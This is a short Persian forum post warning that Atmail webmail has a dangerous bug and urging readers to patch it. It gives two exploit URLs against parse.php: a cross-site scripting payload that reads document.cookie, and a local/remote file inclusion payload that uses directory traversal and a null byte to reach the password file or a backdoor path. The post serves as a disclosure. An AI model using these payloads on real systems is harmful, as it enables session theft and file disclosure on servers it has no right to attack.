ايران ويج

سلام،

یک باگ خطرناک در وب میل Atmail:
برید Patch کنید:


XSS:
http://demo.atmail.org/parse.php?file=ht...nhelp.html

http://DOMAIN/parse.php?file=html/%22$this-%3Eusername%22%3Cscript%3Ealert(document.cookie);%3C/script%3E/help/filexp.html&FirstLoad=1&HelpFile=loginhelp.html

LFI/RFI:
http://demo.atmail.org/parse.php?file=ht...nhelp.html

http://DOMAIN/parse.php?file=html/../../ETC/PASSWD/SHELL/BACKDOOR%00/help/filexp.html&FirstLoad=1&HelpFile=loginhelp.html

نسخه آزاد یا تجاری؟